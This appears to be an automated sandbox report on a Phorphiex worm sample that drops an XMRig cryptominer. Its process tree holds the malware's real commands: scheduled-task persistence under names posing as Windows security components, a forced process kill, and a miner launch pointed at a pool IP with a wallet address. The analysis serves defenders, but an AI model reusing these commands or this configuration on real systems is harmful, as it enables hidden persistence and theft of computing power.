Analysis

  • max time kernel
    167s
  • max time network
    179s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    30/01/2022, 22:45

General

  • Target
    d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe
  • Size 70KB
  • Sample220130-2pdd2abegn
  • SHA256 d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Modifies security service 2 TTPs 3 IoCs
  • Phorphiex Payload 2 IoCs
  • Phorphiex Worm

    Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 25 IoCs
  • Windows security modification 2 TTPs 14 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe
    "C:\Users\Admin\AppData\Local\Temp\d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:2628
    • C:\Windows\drvrscv.exe
      C:\Windows\drvrscv.exe
      2⤵
      • Executes dropped EXE
      • Windows security modification
      • Suspicious use of WriteProcessMemory
      PID:4048
      • C:\Users\Admin\AppData\Local\Temp\3613212269.exe
        C:\Users\Admin\AppData\Local\Temp\3613212269.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:812
        • C:\Users\Admin\AppData\Local\Temp\1088126098.exe
          C:\Users\Admin\AppData\Local\Temp\1088126098.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3444
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1088126098.exe"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3884
            • C:\Windows\System32\cmd.exe
              "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "wincsvns" /tr "C:\Users\Admin\wincsvns.exe"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2644
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc onlogon /rl highest /tn "wincsvns" /tr "C:\Users\Admin\wincsvns.exe"
                7⤵
                • Creates scheduled task(s)
                PID:1932
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c "C:\Users\Admin\wincsvns.exe"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2820
              • C:\Users\Admin\wincsvns.exe
                C:\Users\Admin\wincsvns.exe
                7⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3304
                • C:\Windows\System32\conhost.exe
                  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\wincsvns.exe"
                  8⤵
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:828
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                    9⤵
                    • Executes dropped EXE
                    PID:3160
                    • C:\Windows\System32\conhost.exe
                      "C:\Windows\System32\conhost.exe" "/sihost64"
                      10⤵
                        PID:660
                    • C:\Windows\System32\svchost.exe
                      C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=185.215.113.84:8586 --user=43RrFTp7myuC9LHNDXFDm2H49Qfp5iMfbLjcbVEmKv5qdoP5vqJyKnrHixqv2QPEtW2jBjeAXzBgtjbzkNNg47Zw1DH2D2H --pass=x --cpu-max-threads-hint=40 --cinit-idle-wait=10 --cinit-idle-cpu=80
                      9⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3512
        • C:\Users\Admin\AppData\Local\Temp\3851827780.exe
          C:\Users\Admin\AppData\Local\Temp\3851827780.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3152
          • C:\Users\Admin\AppData\Local\Temp\2147811404.exe
            C:\Users\Admin\AppData\Local\Temp\2147811404.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1304
            • C:\Windows\System32\conhost.exe
              "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\2147811404.exe"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2640
              • C:\Windows\System32\cmd.exe
                "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurityManager" /tr "C:\Users\Admin\Windows\WindowsSecurityManager.exe"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2316
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurityManager" /tr "C:\Users\Admin\Windows\WindowsSecurityManager.exe"
                  7⤵
                  • Creates scheduled task(s)
                  PID:3952
              • C:\Windows\System32\cmd.exe
                "cmd" cmd /c "C:\Users\Admin\Windows\WindowsSecurityManager.exe"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2160
                • C:\Users\Admin\Windows\WindowsSecurityManager.exe
                  C:\Users\Admin\Windows\WindowsSecurityManager.exe
                  7⤵
                  • Executes dropped EXE
                  PID:2680
                  • C:\Windows\System32\conhost.exe
                    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\Windows\WindowsSecurityManager.exe"
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3804
                    • C:\Users\Admin\AppData\Roaming\Windows\Telemetry\sihost64.exe
                      "C:\Users\Admin\AppData\Roaming\Windows\Telemetry\sihost64.exe"
                      9⤵
                      • Executes dropped EXE
                      PID:3888
                      • C:\Windows\System32\conhost.exe
                        "C:\Windows\System32\conhost.exe" "fyixsymzwhlumwg"
                        10⤵
                          PID:3416
          • C:\Users\Admin\AppData\Local\Temp\3799810374.exe
            C:\Users\Admin\AppData\Local\Temp\3799810374.exe
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2832
            • C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
              "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:696
              • C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
                "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
                5⤵
                • Executes dropped EXE
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                PID:704
            • C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
              "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3056
              • C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
                "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
                5⤵
                • Modifies security service
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:3452
            • C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
              "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3028
              • C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
                "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:4000
          • C:\Users\Admin\AppData\Local\Temp\1420532926.exe
            C:\Users\Admin\AppData\Local\Temp\1420532926.exe
            3⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in Windows directory
            • Suspicious use of WriteProcessMemory
            PID:1920
            • C:\Windows\syscfgdrvs.exe
              C:\Windows\syscfgdrvs.exe
              4⤵
              • Executes dropped EXE
              • Windows security modification
              • Suspicious behavior: SetClipboardViewer
              PID:2212
              • C:\Users\Admin\AppData\Local\Temp\174452168.exe
                C:\Users\Admin\AppData\Local\Temp\174452168.exe
                5⤵
                • Executes dropped EXE
                PID:1932
                • C:\Users\Admin\wincsvns.exe
                  C:\Users\Admin\wincsvns.exe
                  6⤵
                  • Executes dropped EXE
                  PID:3644
                  • C:\Windows\System32\conhost.exe
                    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\wincsvns.exe"
                    7⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3892
                    • C:\Windows\System32\cmd.exe
                      "cmd" cmd /c taskkill /f /PID "660"
                      8⤵
                        PID:3168
                        • C:\Windows\system32\taskkill.exe
                          taskkill /f /PID "660"
                          9⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:908
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                        8⤵
                        • Executes dropped EXE
                        PID:1668
                        • C:\Windows\System32\conhost.exe
                          "C:\Windows\System32\conhost.exe" "/sihost64"
                          9⤵
                            PID:3404
                  • C:\Users\Admin\AppData\Local\Temp\147222731.exe
                    C:\Users\Admin\AppData\Local\Temp\147222731.exe
                    5⤵
                    • Executes dropped EXE
                    PID:1340
                    • C:\Users\Admin\Windows\WindowsSecurityManager.exe
                      C:\Users\Admin\Windows\WindowsSecurityManager.exe
                      6⤵
                      • Executes dropped EXE
                      PID:4016
                      • C:\Windows\System32\conhost.exe
                        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\Windows\WindowsSecurityManager.exe"
                        7⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2640
                  • C:\Users\Admin\AppData\Local\Temp\45499965.exe
                    C:\Users\Admin\AppData\Local\Temp\45499965.exe
                    5⤵
                    • Executes dropped EXE
                    PID:1404
                  • C:\Users\Admin\AppData\Local\Temp\168284190.exe
                    C:\Users\Admin\AppData\Local\Temp\168284190.exe
                    5⤵
                    • Executes dropped EXE
                    PID:3944

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                memory/660-211-0x00000164B23E3000-0x00000164B23E5000-memory.dmp

                memory/660-198-0x0000016497E50000-0x0000016497E56000-memory.dmp

                memory/660-204-0x0000016498100000-0x0000016498106000-memory.dmp

                memory/660-210-0x00000164B23E6000-0x00000164B23E7000-memory.dmp

                memory/660-209-0x00000164B23E0000-0x00000164B23E2000-memory.dmp

                memory/828-182-0x0000018827263000-0x0000018827265000-memory.dmp

                memory/828-180-0x00000188252E0000-0x0000018825700000-memory.dmp

                memory/828-181-0x0000018827260000-0x0000018827262000-memory.dmp

                memory/828-183-0x0000018827266000-0x0000018827267000-memory.dmp

                memory/2640-146-0x00000255796A0000-0x0000025579892000-memory.dmp

                memory/2640-152-0x00000255794A6000-0x00000255794A7000-memory.dmp

                memory/2640-274-0x000002BBCAC70000-0x000002BBCAC72000-memory.dmp

                memory/2640-276-0x000002BBCAC76000-0x000002BBCAC77000-memory.dmp

                memory/2640-150-0x00000255794A0000-0x00000255794A2000-memory.dmp

                memory/2640-151-0x00000255794A3000-0x00000255794A5000-memory.dmp

                memory/2640-275-0x000002BBCAC73000-0x000002BBCAC75000-memory.dmp

                memory/2640-149-0x000002555EB00000-0x000002555ECF2000-memory.dmp

                memory/3404-264-0x00000176CB546000-0x00000176CB547000-memory.dmp

                memory/3404-263-0x00000176CB543000-0x00000176CB545000-memory.dmp

                memory/3404-262-0x00000176CB540000-0x00000176CB542000-memory.dmp

                memory/3416-228-0x00000164F2500000-0x00000164F2506000-memory.dmp

                memory/3416-234-0x00000164F24D0000-0x00000164F25E2000-memory.dmp

                memory/3416-233-0x00000164F24D0000-0x00000164F25E2000-memory.dmp

                memory/3416-231-0x00000164F2240000-0x00000164F2246000-memory.dmp

                memory/3416-232-0x00000164F24D0000-0x00000164F25E2000-memory.dmp

                memory/3512-189-0x0000000140000000-0x0000000140786000-memory.dmp

                memory/3512-212-0x0000020D33F70000-0x0000020D33F90000-memory.dmp

                memory/3512-284-0x0000020D33F90000-0x0000020D33FB0000-memory.dmp

                memory/3512-283-0x0000020D33FC0000-0x0000020D33FE0000-memory.dmp

                memory/3512-186-0x0000000140000000-0x0000000140786000-memory.dmp

                memory/3512-187-0x0000020D32490000-0x0000020D324B0000-memory.dmp

                memory/3804-208-0x000001A5F1E06000-0x000001A5F1E07000-memory.dmp

                memory/3804-207-0x000001A5F1E03000-0x000001A5F1E05000-memory.dmp

                memory/3804-200-0x000001A5F1E00000-0x000001A5F1E02000-memory.dmp

                memory/3884-137-0x0000015B5CE56000-0x0000015B5CE57000-memory.dmp

                memory/3884-136-0x0000015B5CE53000-0x0000015B5CE55000-memory.dmp

                memory/3884-134-0x0000015B42B00000-0x0000015B42B12000-memory.dmp

                memory/3884-132-0x0000015B5D080000-0x0000015B5D2A0000-memory.dmp

                memory/3884-130-0x0000015B42600000-0x0000015B429A0000-memory.dmp

                memory/3884-131-0x0000015B5CE50000-0x0000015B5CE52000-memory.dmp

                memory/3892-247-0x000002E2A2A36000-0x000002E2A2A37000-memory.dmp

                memory/3892-241-0x000002E2A08F0000-0x000002E2A0C30000-memory.dmp

                memory/3892-243-0x000002E2A2A30000-0x000002E2A2A32000-memory.dmp

                memory/3892-245-0x000002E2A2A33000-0x000002E2A2A35000-memory.dmp